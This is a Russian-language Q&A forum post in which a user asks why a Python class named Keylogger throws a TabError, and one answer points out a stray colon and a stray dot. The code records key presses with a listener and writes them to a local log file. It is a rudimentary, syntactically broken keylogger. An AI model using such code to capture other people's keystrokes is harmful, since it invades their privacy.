line 13 self.keys.append(key): TabError: inconsistent use of tabs and spaces in indentation Что делать?

Вот код

class Keylogger:

    def __init__(self):
        self.count = 0
        self.keys = []

    def on_press(self, key):
        print(f"{key} pressed")
        self.keys.append(key):
        self.count += 1

        if self.count >= 10:
            self.write_file(self.keys)

    def on_release(self, key):
        if key == Key.esc:
            return False 

    def write_file(self, keys):
        with open("log.txt", "a" ) as file:
            for key in self.keys:
                k = str(key).replace("'", "")

                if.k.find("space") > 0:
                    file.write("\n") 
                elif k.find("Key") == -1:
                    fil.write(k)


if __name__ == "__main__":

    obj = Keylogger()
    with Listener(on_press = obj.on_press, on_release = obj.on_release) as listener:
        listener.join()

Ответы (1 шт):

Автор решения: CrazyElf

А что в этой строке делает двоеточие в конце строки?

self.keys.append(key):

У меня другую ошибку интерпретатор показывает, но в той же строке. Уберите двоеточие для начала.

Также ошибка есть в этой строке:

if.k.find("space") > 0:

Точка после if явно лишняя, на неё тоже будет ругаться интерпретатор.

→ Ссылка